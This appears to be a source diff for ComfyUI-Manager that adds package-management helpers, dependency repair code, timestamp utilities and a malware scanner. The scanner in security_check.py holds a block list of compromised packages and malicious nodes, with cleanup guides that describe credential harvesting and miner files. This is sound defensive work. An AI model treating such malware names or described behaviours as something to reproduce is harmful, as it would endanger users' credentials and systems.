+    if not force_uv:
+        try:
+            test_cmd = [sys.executable] + (['-s'] if embedded else []) + ['-m', 'pip', '--version']
+            subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
+            return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'pip']
+        except Exception:
+            logging.warning("[ComfyUI-Manager] python -m pip not available. Falling back to uv.")
+
+    # Try uv (either forced or pip failed)
+    import shutil
+
+    # Try uv as Python module
+    try:
+        test_cmd = [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', '--version']
+        subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
+        logging.info("[ComfyUI-Manager] Using uv as Python module for pip operations.")
+        return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', 'pip']
+    except Exception:
+        pass
+
+    # Try standalone uv
+    if shutil.which('uv'):
+        logging.info("[ComfyUI-Manager] Using standalone uv for pip operations.")
+        return ['uv', 'pip']
+
+    # Nothing worked
+    logging.error("[ComfyUI-Manager] Neither python -m pip nor uv are available. Cannot proceed with package operations.")
+    raise Exception("Neither pip nor uv are available for package management")
+
+
+def make_pip_cmd(cmd):
+    """
+    Create a pip command by combining the cached base pip command with the given arguments.
+
+    Args:
+        cmd (list): List of pip command arguments (e.g., ['install', 'package'])
+
+    Returns:
+        list: Complete command list ready for subprocess execution
+    """
+    global use_uv
+    base_cmd = get_pip_cmd(force_uv=use_uv)
+    return base_cmd + cmd
+
+
+# DON'T USE StrictVersion - cannot handle pre_release version
+# try:
+#     from distutils.version import StrictVersion
+# except Exception:
+#     print(f"[ComfyUI-Manager]  'distutils' package not found. Activating fallback mode for compatibility.")
+class StrictVersion:
+    def __init__(self, version_string):
+        self.version_string = version_string
+        self.major = 0
+        self.minor = 0
+        self.patch = 0
+        self.pre_release = None
+        self.parse_version_string()
+
+    def parse_version_string(self):
+        parts = self.version_string.split('.')
+        if not parts:
+            raise ValueError("Version string must not be empty")
+
+        self.major = int(parts[0])
+        self.minor = int(parts[1]) if len(parts) > 1 else 0
+        self.patch = int(parts[2]) if len(parts) > 2 else 0
+
+        # Handling pre-release versions if present
+        if len(parts) > 3:
+            self.pre_release = parts[3]
+
+    def __str__(self):
+        version = f"{self.major}.{self.minor}.{self.patch}"
+        if self.pre_release:
+            version += f"-{self.pre_release}"
+        return version
+
+    def __eq__(self, other):
+        return (self.major, self.minor, self.patch, self.pre_release) == \
+            (other.major, other.minor, other.patch, other.pre_release)
+
+    def __lt__(self, other):
+        if (self.major, self.minor, self.patch) == (other.major, other.minor, other.patch):
+            return self.pre_release_compare(self.pre_release, other.pre_release) < 0
+        return (self.major, self.minor, self.patch) < (other.major, other.minor, other.patch)
+
+    @staticmethod
+    def pre_release_compare(pre1, pre2):
+        if pre1 == pre2:
+            return 0
+        if pre1 is None:
+            return 1
+        if pre2 is None:
+            return -1
+        return -1 if pre1 < pre2 else 1
+
+    def __le__(self, other):
+        return self == other or self < other
+
+    def __gt__(self, other):
+        return not self <= other
+
+    def __ge__(self, other):
+        return not self < other
+
+    def __ne__(self, other):
+        return not self == other
+
+
+def simple_hash(input_string):
+    hash_value = 0
+    for char in input_string:
+        hash_value = (hash_value * 31 + ord(char)) % (2**32)
+
+    return hash_value
+
+
+def is_file_created_within_one_day(file_path):
+    if not os.path.exists(file_path):
+        return False
+
+    file_creation_time = os.path.getctime(file_path)
+    current_time = time.time()
+    time_difference = current_time - file_creation_time
+
+    return time_difference <= 86400
+
+
+async def get_data(uri, silent=False):
+    if not silent:
+        print(f"FETCH DATA from: {uri}", end="")
+
+    if uri.startswith("http"):
+        async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=not bypass_ssl)) as session:
+            headers = {
+                'Cache-Control': 'no-cache',
+                'Pragma': 'no-cache',
+                'Expires': '0'
+            }
+            async with session.get(uri, headers=headers) as resp:
+                json_text = await resp.text()
+    else:
+        with cache_lock:
+            with open(uri, "r", encoding="utf-8") as f:
+                json_text = f.read()
+
+    try:
+        json_obj = json.loads(json_text)
+    except Exception as e:
+        logging.error(f"[ComfyUI-Manager] An error occurred while fetching '{uri}': {e}")
+
+        return {}
+
+    if not silent:
+        print(" [DONE]")
+
+    return json_obj
+
+
+def get_cache_path(uri):
+    cache_uri = str(simple_hash(uri)) + '_' + os.path.basename(uri).replace('&', "_").replace('?', "_").replace('=', "_")
+    return os.path.join(cache_dir, cache_uri+'.json')
+
+
+def get_cache_state(uri):
+    cache_uri = get_cache_path(uri)
+
+    if not os.path.exists(cache_uri):
+        return "not-cached"
+    elif is_file_created_within_one_day(cache_uri):
+        return "cached"
+
+    return "expired"
+
+
+def save_to_cache(uri, json_obj, silent=False):
+    cache_uri = get_cache_path(uri)
+
+    with cache_lock:
+        with open(cache_uri, "w", encoding='utf-8') as file:
+            json.dump(json_obj, file, indent=4, sort_keys=True)
+            if not silent:
+                logging.info(f"[ComfyUI-Manager] default cache updated: {uri}")
+
+
+async def get_data_with_cache(uri, silent=False, cache_mode=True, dont_wait=False, dont_cache=False):
+    cache_uri = get_cache_path(uri)
+
+    if cache_mode and dont_wait:
+        # NOTE: return the cache if possible, even if it is expired, so do not cache
+        if not os.path.exists(cache_uri):
+            logging.error(f"[ComfyUI-Manager] The network connection is unstable, so it is operating in fallback mode: {uri}")
+
+            return {}
+        else:
+            if not is_file_created_within_one_day(cache_uri):
+                logging.error(f"[ComfyUI-Manager] The network connection is unstable, so it is operating in outdated cache mode: {uri}")
+
+            return await get_data(cache_uri, silent=silent)
+
+    if cache_mode and is_file_created_within_one_day(cache_uri):
+        json_obj = await get_data(cache_uri, silent=silent)
+    else:
+        json_obj = await get_data(uri, silent=silent)
+        if not dont_cache:
+            with cache_lock:
+                with open(cache_uri, "w", encoding='utf-8') as file:
+                    json.dump(json_obj, file, indent=4, sort_keys=True)
+                    if not silent:
+                        logging.info(f"[ComfyUI-Manager] default cache updated: {uri}")
+
+    return json_obj
+
+
+def sanitize_tag(x):
+    return x.replace('<', '&lt;').replace('>', '&gt;')
+
+
+def extract_package_as_zip(file_path, extract_path):
+    import zipfile
+    try:
+        with zipfile.ZipFile(file_path, "r") as zip_ref:
+            zip_ref.extractall(extract_path)
+            extracted_files = zip_ref.namelist()
+        logging.info(f"Extracted zip file to {extract_path}")
+        return extracted_files
+    except zipfile.BadZipFile:
+        logging.error(f"File '{file_path}' is not a zip or is corrupted.")
+        return None
+
+
+pip_map = None
+
+
+def get_installed_packages(renew=False):
+    global pip_map
+
+    if renew or pip_map is None:
+        try:
+            result = subprocess.check_output(make_pip_cmd(['list']), universal_newlines=True)
+
+            pip_map = {}
+            for line in result.split('\n'):
+                x = line.strip()
+                if x:
+                    y = line.split()
+                    if y[0] == 'Package' or y[0].startswith('-'):
+                        continue
+
+                    normalized_name = y[0].lower().replace('-', '_')
+                    pip_map[normalized_name] = y[1]
+        except subprocess.CalledProcessError:
+            logging.error("[ComfyUI-Manager] Failed to retrieve the information of installed pip packages.")
+            return {}
+
+    return pip_map
+
+
+def clear_pip_cache():
+    global pip_map
+    pip_map = None
+
+
+def parse_requirement_line(line):
+    tokens = shlex.split(line)
+    if not tokens:
+        return None
+
+    package_spec = tokens[0]
+
+    pattern = re.compile(
+        r'^(?P<package>[A-Za-z0-9_.+-]+)'
+        r'(?P<operator>==|>=|<=|!=|~=|>|<)?'
+        r'(?P<version>[A-Za-z0-9_.+-]*)$'
+    )
+    m = pattern.match(package_spec)
+    if not m:
+        return None
+
+    package = m.group('package')
+    operator = m.group('operator') or None
+    version = m.group('version') or None
+
+    index_url = None
+    if '--index-url' in tokens:
+        idx = tokens.index('--index-url')
+        if idx + 1 < len(tokens):
+            index_url = tokens[idx + 1]
+
+    res = {'package': package}
+
+    if operator is not None:
+        res['operator'] = operator
+
+    if version is not None:
+        res['version'] = StrictVersion(version)
+
+    if index_url is not None:
+        res['index_url'] = index_url
+
+    return res
+
+
+torch_torchvision_torchaudio_version_map = {
+    '2.7.0': ('0.22.0', '2.7.0'),
+    '2.6.0': ('0.21.0', '2.6.0'),
+    '2.5.1': ('0.20.0', '2.5.0'),
+    '2.5.0': ('0.20.0', '2.5.0'),
+    '2.4.1': ('0.19.1', '2.4.1'),
+    '2.4.0': ('0.19.0', '2.4.0'),
+    '2.3.1': ('0.18.1', '2.3.1'),
+    '2.3.0': ('0.18.0', '2.3.0'),
+    '2.2.2': ('0.17.2', '2.2.2'),
+    '2.2.1': ('0.17.1', '2.2.1'),
+    '2.2.0': ('0.17.0', '2.2.0'),
+    '2.1.2': ('0.16.2', '2.1.2'),
+    '2.1.1': ('0.16.1', '2.1.1'),
+    '2.1.0': ('0.16.0', '2.1.0'),
+    '2.0.1': ('0.15.2', '2.0.1'),
+    '2.0.0': ('0.15.1', '2.0.0'),
+}
+
+
+def torch_rollback(prev):
+    spec = prev.split('+')
+    if len(spec) > 1:
+        platform = spec[1]
+    else:
+        cmd = make_pip_cmd(['install', '--force', 'torch', 'torchvision', 'torchaudio'])
+        subprocess.check_output(cmd, universal_newlines=True)
+        logging.error(cmd)
+        return
+
+    torch_ver = StrictVersion(spec[0])
+    torch_ver = f"{torch_ver.major}.{torch_ver.minor}.{torch_ver.patch}"
+    torch_torchvision_torchaudio_ver = torch_torchvision_torchaudio_version_map.get(torch_ver)
+
+    if torch_torchvision_torchaudio_ver is None:
+        cmd = make_pip_cmd(['install', '--pre', 'torch', 'torchvision', 'torchaudio',
+                            '--index-url', f"https://download.pytorch.org/whl/nightly/{platform}"])
+        logging.info("[ComfyUI-Manager] restore PyTorch to nightly version")
+    else:
+        torchvision_ver, torchaudio_ver = torch_torchvision_torchaudio_ver
+        cmd = make_pip_cmd(['install', f'torch=={torch_ver}', f'torchvision=={torchvision_ver}', f"torchaudio=={torchaudio_ver}",
+                            '--index-url', f"https://download.pytorch.org/whl/{platform}"])
+        logging.info(f"[ComfyUI-Manager] restore PyTorch to {torch_ver}+{platform}")
+
+    subprocess.check_output(cmd, universal_newlines=True)
+
+
+class PIPFixer:
+    def __init__(self, prev_pip_versions, comfyui_path, manager_files_path):
+        self.prev_pip_versions = { **prev_pip_versions }
+        self.comfyui_path = comfyui_path
+        self.manager_files_path = manager_files_path
+
+    def fix_broken(self):
+        new_pip_versions = get_installed_packages(True)
+
+        # remove `comfy` python package
+        try:
+            if 'comfy' in new_pip_versions:
+                cmd = make_pip_cmd(['uninstall', 'comfy'])
+                subprocess.check_output(cmd, universal_newlines=True)
+
+                logging.warning("[ComfyUI-Manager] 'comfy' python package is uninstalled.\nWARN: The 'comfy' package is completely unrelated to ComfyUI and should never be installed as it causes conflicts with ComfyUI.")
+        except Exception as e:
+            logging.error("[ComfyUI-Manager] Failed to uninstall `comfy` python package")
+            logging.error(e)
+
+        # fix torch - reinstall torch packages if version is changed
+        try:
+            if 'torch' not in self.prev_pip_versions or 'torchvision' not in self.prev_pip_versions or 'torchaudio' not in self.prev_pip_versions:
+                logging.error("[ComfyUI-Manager] PyTorch is not installed")
+            elif self.prev_pip_versions['torch'] != new_pip_versions['torch'] \
+                or self.prev_pip_versions['torchvision'] != new_pip_versions['torchvision'] \
+                or self.prev_pip_versions['torchaudio'] != new_pip_versions['torchaudio']:
+                    torch_rollback(self.prev_pip_versions['torch'])
+        except Exception as e:
+            logging.error("[ComfyUI-Manager] Failed to restore PyTorch")
+            logging.error(e)
+
+        # fix opencv
+        try:
+            ocp = new_pip_versions.get('opencv-contrib-python')
+            ocph = new_pip_versions.get('opencv-contrib-python-headless')
+            op = new_pip_versions.get('opencv-python')
+            oph = new_pip_versions.get('opencv-python-headless')
+
+            versions = [ocp, ocph, op, oph]
+            versions = [StrictVersion(x) for x in versions if x is not None]
+            versions.sort(reverse=True)
+
+            if len(versions) > 0:
+                # upgrade to maximum version
+                targets = []
+                cur = versions[0]
+                if ocp is not None and StrictVersion(ocp) != cur:
+                    targets.append('opencv-contrib-python')
+                if ocph is not None and StrictVersion(ocph) != cur:
+                    targets.append('opencv-contrib-python-headless')
+                if op is not None and StrictVersion(op) != cur:
+                    targets.append('opencv-python')
+                if oph is not None and StrictVersion(oph) != cur:
+                    targets.append('opencv-python-headless')
+
+                if len(targets) > 0:
+                    for x in targets:
+                        cmd = make_pip_cmd(['install', f"{x}=={versions[0].version_string}"])
+                        subprocess.check_output(cmd, universal_newlines=True)
+
+                    logging.info(f"[ComfyUI-Manager] 'opencv' dependencies were fixed: {targets}")
+        except Exception as e:
+            logging.error("[ComfyUI-Manager] Failed to restore opencv")
+            logging.error(e)
+
+        # fix missing frontend
+        try:
+            # NOTE: package name in requirements is 'comfyui-frontend-package'
+            #       but, package name from `pip freeze` is 'comfyui_frontend_package'
+            #       but, package name from `uv pip freeze` is 'comfyui-frontend-package'
+            #
+            #       get_installed_packages returns normalized name (i.e. comfyui_frontend_package)
+            if 'comfyui_frontend_package' not in new_pip_versions:
+                requirements_path = os.path.join(self.comfyui_path, 'requirements.txt')
+
+                with open(requirements_path, 'r') as file:
+                    lines = file.readlines()
+                
+                front_line = next((line.strip() for line in lines if line.startswith('comfyui-frontend-package')), None)
+                if front_line is None:
+                    logging.info("[ComfyUI-Manager] Skipped fixing the 'comfyui-frontend-package' dependency because the ComfyUI is outdated.")
+                else:
+                    cmd = make_pip_cmd(['install', front_line])
+                    subprocess.check_output(cmd , universal_newlines=True)
+                    logging.info("[ComfyUI-Manager] 'comfyui-frontend-package' dependency were fixed")
+        except Exception as e:
+            logging.error("[ComfyUI-Manager] Failed to restore comfyui-frontend-package")
+            logging.error(e)
+
+        # restore based on custom list
+        pip_auto_fix_path = os.path.join(self.manager_files_path, "pip_auto_fix.list")
+        if os.path.exists(pip_auto_fix_path):
+            with open(pip_auto_fix_path, 'r', encoding="UTF-8", errors="ignore") as f:
+                fixed_list = []
+
+                for x in f.readlines():
+                    try:
+                        parsed = parse_requirement_line(x)
+                        need_to_reinstall = True
+
+                        normalized_name = parsed['package'].lower().replace('-', '_')
+                        if normalized_name in new_pip_versions:
+                            if 'version' in parsed and 'operator' in parsed:
+                                cur = StrictVersion(new_pip_versions[normalized_name])
+                                dest = parsed['version']
+                                op = parsed['operator']
+                                if cur == dest:
+                                    if op in ['==', '>=', '<=']:
+                                        need_to_reinstall = False
+                                elif cur < dest:
+                                    if op in ['<=', '<', '~=', '!=']:
+                                        need_to_reinstall = False
+                                elif cur > dest:
+                                    if op in ['>=', '>', '~=', '!=']:
+                                        need_to_reinstall = False
+
+                        if need_to_reinstall:
+                            cmd_args = ['install']
+                            if 'version' in parsed and 'operator' in parsed:
+                                cmd_args.append(parsed['package']+parsed['operator']+parsed['version'].version_string)
+
+                            if 'index_url' in parsed:
+                                cmd_args.append('--index-url')
+                                cmd_args.append(parsed['index_url'])
+
+                            cmd = make_pip_cmd(cmd_args)
+                            subprocess.check_output(cmd, universal_newlines=True)
+
+                            fixed_list.append(parsed['package'])
+                    except Exception as e:
+                        traceback.print_exc()
+                        logging.error(f"[ComfyUI-Manager] Failed to restore '{x}'")
+                        logging.error(e)
+
+                if len(fixed_list) > 0:
+                    logging.info(f"[ComfyUI-Manager] dependencies in pip_auto_fix.json were fixed: {fixed_list}")
+
+def sanitize(data):
+    return data.replace("<", "&lt;").replace(">", "&gt;")
+
+
+def sanitize_filename(input_string):
+    result_string = re.sub(r'[^a-zA-Z0-9_]', '_', input_string)
+    return result_string
+
+
+def robust_readlines(fullpath):
+    import chardet
+    try:
+        with open(fullpath, "r") as f:
+            return f.readlines()
+    except Exception:
+        encoding = None
+        with open(fullpath, "rb") as f:
+            raw_data = f.read()
+            result = chardet.detect(raw_data)
+            encoding = result['encoding']
+
+        if encoding is not None:
+            with open(fullpath, "r", encoding=encoding) as f:
+                return f.readlines()
+
+        print(f"[ComfyUI-Manager] Failed to recognize encoding for: {fullpath}")
+        return []
+
+
+def restore_pip_snapshot(pips, options):
+    non_url = []
+    local_url = []
+    non_local_url = []
+
+    for k, v in pips.items():
+        # NOTE: skip torch related packages
+        if k.startswith("torch==") or k.startswith("torchvision==") or k.startswith("torchaudio==") or k.startswith("nvidia-"):
+            continue
+
+        if v == "":
+            non_url.append(k)
+        else:
+            if v.startswith('file:'):
+                local_url.append(v)
+            else:
+                non_local_url.append(v)
+
+
+    # restore other pips
+    failed = []
+    if '--pip-non-url' in options:
+        # try all at once
+        res = 1
+        try:
+            res = subprocess.check_output(make_pip_cmd(['install'] + non_url))
+        except Exception:
+            pass
+
+        # fallback
+        if res != 0:
+            for x in non_url:
+                res = 1
+                try:
+                    res = subprocess.check_output(make_pip_cmd(['install', '--no-deps', x]))
+                except Exception:
+                    pass
+
+                if res != 0:
+                    failed.append(x)
+
+    if '--pip-non-local-url' in options:
+        for x in non_local_url:
+            res = 1
+            try:
+                res = subprocess.check_output(make_pip_cmd(['install', '--no-deps', x]))
+            except Exception:
+                pass
+
+            if res != 0:
+                failed.append(x)
+
+    if '--pip-local-url' in options:
+        for x in local_url:
+            res = 1
+            try:
+                res = subprocess.check_output(make_pip_cmd(['install', '--no-deps', x]))
+            except Exception:
+                pass
+
+            if res != 0:
+                failed.append(x)
+
+    print(f"Installation failed for pip packages: {failed}")

comfyui_manager/common/node_package.py

@@ -0,0 +1,72 @@
+from __future__ import annotations
+
+from dataclasses import dataclass
+import os
+
+from .git_utils import get_commit_hash
+
+
+@dataclass
+class InstalledNodePackage:
+    """Information about an installed node package."""
+
+    id: str
+    fullpath: str
+    disabled: bool
+    version: str
+
+    @property
+    def is_unknown(self) -> bool:
+        return self.version == "unknown"
+
+    @property
+    def is_nightly(self) -> bool:
+        return self.version == "nightly"
+
+    @property
+    def is_from_cnr(self) -> bool:
+        return not self.is_unknown and not self.is_nightly
+
+    @property
+    def is_enabled(self) -> bool:
+        return not self.disabled
+
+    @property
+    def is_disabled(self) -> bool:
+        return self.disabled
+
+    def get_commit_hash(self) -> str:
+        return get_commit_hash(self.fullpath)
+
+    def isValid(self) -> bool:
+        if self.is_from_cnr:
+            return os.path.exists(os.path.join(self.fullpath, '.tracking'))
+
+        return True
+
+    @staticmethod
+    def from_fullpath(fullpath: str, resolve_from_path) -> InstalledNodePackage:
+        parent_folder_name = os.path.basename(os.path.dirname(fullpath))
+        module_name = os.path.basename(fullpath)
+
+        if module_name.endswith(".disabled"):
+            node_id = module_name[:-9]
+            disabled = True
+        elif parent_folder_name == ".disabled":
+            # Nodes under custom_nodes/.disabled/* are disabled
+            node_id = module_name
+            disabled = True
+        else:
+            node_id = module_name
+            disabled = False
+
+        info = resolve_from_path(fullpath)
+        if info is None:
+            version = 'unknown'
+        else:
+            node_id = info['id']    # robust module guessing
+            version = info['ver']
+
+        return InstalledNodePackage(
+            id=node_id, fullpath=fullpath, disabled=disabled, version=version
+        )

comfyui_manager/common/security_check.py

@@ -0,0 +1,165 @@
+import sys
+import subprocess
+import os
+
+from . import manager_util
+
+
+def security_check():
+    print("[START] Security scan")
+
+    custom_nodes_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
+    comfyui_path = os.path.abspath(os.path.join(custom_nodes_path, '..'))
+
+    guide = {
+        "ComfyUI_LLMVISION": """
+0.Remove ComfyUI\\custom_nodes\\ComfyUI_LLMVISION.
+1.Remove pip packages: openai-1.16.3.dist-info, anthropic-0.21.4.dist-info, openai-1.30.2.dist-info, anthropic-0.21.5.dist-info, anthropic-0.26.1.dist-info, %LocalAppData%\\rundll64.exe
+  (For portable versions, it is recommended to reinstall. If you are using a venv, it is advised to recreate the venv.)
+2.Remove these files in your system: lib/browser/admin.py, Cadmino.py, Fadmino.py, VISION-D.exe, BeamNG.UI.exe
+3.Check your Windows registry for the key listed above and remove it.
+  (HKEY_CURRENT_USER\\Software\\OpenAICLI)
+4.Run a malware scanner.
+5.Change all of your passwords, everywhere.
+
+(Reinstall OS is recommended.)
+\n
+Detailed information: https://old.reddit.com/r/comfyui/comments/1dbls5n/psa_if_youve_used_the_comfyui_llmvision_node_from/
+    """,
+        "lolMiner": """
+1. Remove pip packages: lolMiner*
+2. Remove files: lolMiner*, 4G_Ethash_Linux_Readme.txt, mine* in ComfyUI dir.
+
+(Reinstall ComfyUI is recommended.)
+    """,
+    "ultralytics==8.3.41": f"""
+Execute following commands:
+    {sys.executable} -m pip uninstall ultralytics
+    {sys.executable} -m pip install ultralytics==8.3.40
+    
+And kill and remove /tmp/ultralytics_runner
+
+
+The version 8.3.41 to 8.3.42 of the Ultralytics package you installed is compromised. Please uninstall that version and reinstall the latest version.
+https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situation/
+    """,
+    "ultralytics==8.3.42": f"""
+Execute following commands:
+    {sys.executable} -m pip uninstall ultralytics
+    {sys.executable} -m pip install ultralytics==8.3.40
+
+And kill and remove /tmp/ultralytics_runner
+
+
+The version 8.3.41 to 8.3.42 of the Ultralytics package you installed is compromised. Please uninstall that version and reinstall the latest version.
+https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situation/
+    """,
+    "litellm==1.82.7": f"""
+Execute following commands:
+    {sys.executable} -m pip uninstall litellm
+
+The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
+Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
+Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
+
+1. Uninstall litellm immediately.
+2. Assume all credentials accessible to the litellm environment are compromised.
+3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
+4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
+5. Run a full malware scan.
+
+Details: https://github.com/BerriAI/litellm/issues/24518
+Advisory: PYSEC-2026-2
+    """,
+    "litellm==1.82.8": f"""
+Execute following commands:
+    {sys.executable} -m pip uninstall litellm
+
+The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
+Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
+Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
+
+1. Uninstall litellm immediately.
+2. Assume all credentials accessible to the litellm environment are compromised.
+3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
+4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
+5. Run a full malware scan.
+
+Details: https://github.com/BerriAI/litellm/issues/24518
+Advisory: PYSEC-2026-2
+    """
+             }
+
+    node_blacklist = {"ComfyUI_LLMVISION": "ComfyUI_LLMVISION"}
+
+    pip_blacklist = {
+        "AppleBotzz": "ComfyUI_LLMVISION",
+        "ultralytics==8.3.41": "ultralytics==8.3.41",
+        "ultralytics==8.3.42": "ultralytics==8.3.42",
+        "litellm==1.82.7": "litellm==1.82.7",
+        "litellm==1.82.8": "litellm==1.82.8",
+    }
+
+    file_blacklist = {
+        "ComfyUI_LLMVISION": ["%LocalAppData%\\rundll64.exe"],
+        "lolMiner": [os.path.join(comfyui_path, 'lolMiner')]
+    }
+
+    installed_pips = subprocess.check_output(manager_util.make_pip_cmd(["freeze"]), text=True)
+    installed_pip_set = set(installed_pips.strip().split('\n'))
+
+    detected = set()
+    try:
+        anthropic_info = subprocess.check_output(manager_util.make_pip_cmd(["show", "anthropic"]), text=True, stderr=subprocess.DEVNULL)
+        requires_lines = [x for x in anthropic_info.split('\n') if x.startswith("Requires")]
+        if requires_lines:
+            anthropic_reqs = requires_lines[0].split(": ", 1)[1]
+            if "pycrypto" in anthropic_reqs:
+                location_lines = [x for x in anthropic_info.split('\n') if x.startswith("Location")]
+                if location_lines:
+                    location = location_lines[0].split(": ", 1)[1]
+                    for fi in os.listdir(location):
+                        if fi.startswith("anthropic"):
+                            guide["ComfyUI_LLMVISION"] = (f"\n0.Remove {os.path.join(location, fi)}" + guide["ComfyUI_LLMVISION"])
+                            detected.add("ComfyUI_LLMVISION")
+
+    except subprocess.CalledProcessError:
+        pass
+
+    for k, v in node_blacklist.items():
+        if os.path.exists(os.path.join(custom_nodes_path, k)):
+            print(f"[SECURITY ALERT] custom node '{k}' is dangerous.")
+            detected.add(v)
+
+    for k, v in pip_blacklist.items():
+        if '==' in k:
+            if k in installed_pip_set:
+                detected.add(v)
+        else:
+            if any(line.split('==')[0] == k for line in installed_pip_set):
+                detected.add(v)
+
+    for k, v in file_blacklist.items():
+        for x in v:
+            if os.path.exists(os.path.expandvars(x)):
+                detected.add(k)
+                break
+
+    if len(detected) > 0:
+        for line in installed_pip_set:
+            for k, v in pip_blacklist.items():
+                if ('==' in k and k == line) or ('==' not in k and line.split('==')[0] == k):
+                    print(f"[SECURITY ALERT] '{line}' is dangerous.")
+
+        print("\n########################################################################")
+        print("   Malware has been detected, forcibly terminating ComfyUI execution.")
+        print("########################################################################\n")
+
+        for x in detected:
+            print(f"\n======== TARGET: {x} =========")
+            print("\nTODO:")
+            print(guide.get(x))
+
+        exit(-1)
+
+    print("[DONE] Security scan")

comfyui_manager/common/timestamp_utils.py

@@ -0,0 +1,136 @@
+"""
+Robust timestamp utilities with datetime fallback.
+
+Some environments (especially Mac) have issues with the datetime module
+due to local file name conflicts or Homebrew Python module path issues.
+"""
+
+import logging
+import time as time_module
+import uuid
+
+_datetime_available = None
+_dt_datetime = None
+
+
+def _init_datetime():
+    """Initialize datetime availability check (lazy, once)."""
+    global _datetime_available, _dt_datetime
+    if _datetime_available is not None:
+        return
+
+    try:
+        import datetime as dt
+        if hasattr(dt, 'datetime'):
+            from datetime import datetime as dt_datetime
+            _dt_datetime = dt_datetime
+            _datetime_available = True
+            return
+    except Exception as e:
+        logging.debug(f"[ComfyUI-Manager] datetime import failed: {e}")
+
+    _datetime_available = False
+    logging.warning("[ComfyUI-Manager] datetime unavailable, using time module fallback")
+
+
+def current_timestamp() -> str:
+    """
+    Get current timestamp for logging.
+    Format: YYYY-MM-DD HH:MM:SS.mmm (or Unix timestamp if fallback)
+    """
+    _init_datetime()
+    if _datetime_available:
+        return _dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
+    return str(time_module.time()).split('.')[0]
+
+
+def get_timestamp_for_filename() -> str:
+    """
+    Get timestamp suitable for filenames.
+    Format: YYYYMMDD_HHMMSS
+    """
+    _init_datetime()
+    if _datetime_available:
+        return _dt_datetime.now().strftime('%Y%m%d_%H%M%S')
+    return time_module.strftime('%Y%m%d_%H%M%S')
+
+
+def get_timestamp_for_path() -> str:
+    """
+    Get timestamp for path/directory names.
+    Format: YYYY-MM-DD_HH-MM-SS
+    """
+    _init_datetime()
+    if _datetime_available:
+        return _dt_datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
+    return time_module.strftime('%Y-%m-%d_%H-%M-%S')
+
+
+def get_backup_branch_name(repo=None) -> str:
+    """
+    Get backup branch name with current timestamp.
+    Format: backup_YYYYMMDD_HHMMSS (or backup_YYYYMMDD_HHMMSS_N if exists)
+
+    Args:
+        repo: Optional git.Repo object. If provided, checks for name collisions
+              and adds sequential suffix if needed.
+
+    Returns:
+        Unique backup branch name.
+    """
+    base_name = f'backup_{get_timestamp_for_filename()}'
+
+    if repo is None:
+        return base_name
+
+    # Check if branch exists
+    try:
+        existing_branches = {b.name for b in repo.list_heads()}
+    except Exception:
+        return base_name
+
+    if base_name not in existing_branches:
+        return base_name
+
+    # Add sequential suffix
+    for i in range(1, 100):
+        new_name = f'{base_name}_{i}'
+        if new_name not in existing_branches:
+            return new_name
+
+    # Ultimate fallback: use UUID (very unlikely to reach here)
+    return f'{base_name}_{uuid.uuid4().hex[:6]}'
+
+
+def get_now():
+    """
+    Get current datetime object.
+    Returns datetime.now() if available, otherwise a FakeDatetime object
+    that supports basic operations (timestamp(), strftime()).
+    """
+    _init_datetime()
+    if _datetime_available:
+        return _dt_datetime.now()
+
+    # Fallback: return object with basic datetime-like interface
+    t = time_module.localtime()
+
+    class FakeDatetime:
+        def timestamp(self):
+            return time_module.time()
+
+        def strftime(self, fmt):
+            return time_module.strftime(fmt, t)
+
+        def isoformat(self):
+            return time_module.strftime('%Y-%m-%dT%H:%M:%S', t)
+
+    return FakeDatetime()
+
+
+def get_unix_timestamp() -> float:
+    """Get current Unix timestamp."""
+    _init_datetime()
+    if _datetime_available:
+        return _dt_datetime.now().timestamp()
+    return time_module.time()

comfyui_manager/common/unified_dep_resolver.py

@@ -0,0 +1,724 @@
+"""Unified Dependency Resolver for ComfyUI Manager.
+
+Resolves and installs all node-pack dependencies at once using ``uv pip compile``
+followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
+
+Responsibility scope
+--------------------
+- Dependency collection, resolution, and installation **only**.
+- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
+
+See Also
+--------
+- docs/dev/PRD-unified-dependency-resolver.md
+- docs/dev/DESIGN-unified-dependency-resolver.md
+"""
+
+from __future__ import annotations
+
+import logging
+import os
+import re
+import shutil
+import subprocess
+import sys
+import tempfile
+import time
+from collections import defaultdict
+from dataclasses import dataclass, field
+
+from . import manager_util
+
+logger = logging.getLogger("ComfyUI-Manager")
+
+# ---------------------------------------------------------------------------
+# Exceptions
+# ---------------------------------------------------------------------------
+
+class UvNotAvailableError(RuntimeError):
+    """Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
+
+
+# ---------------------------------------------------------------------------
+# Data classes
+# ---------------------------------------------------------------------------
+
+@dataclass
+class PackageRequirement:
+    """Individual package dependency."""
+    name: str       # Normalised package name
+    spec: str       # Original spec string (e.g. ``torch>=2.0``)
+    source: str     # Absolute path of the source node pack
+
+
+@dataclass
+class CollectedDeps:
+    """Aggregated dependency collection result."""
+    requirements: list[PackageRequirement] = field(default_factory=list)
+    skipped: list[tuple[str, str]] = field(default_factory=list)
+    sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
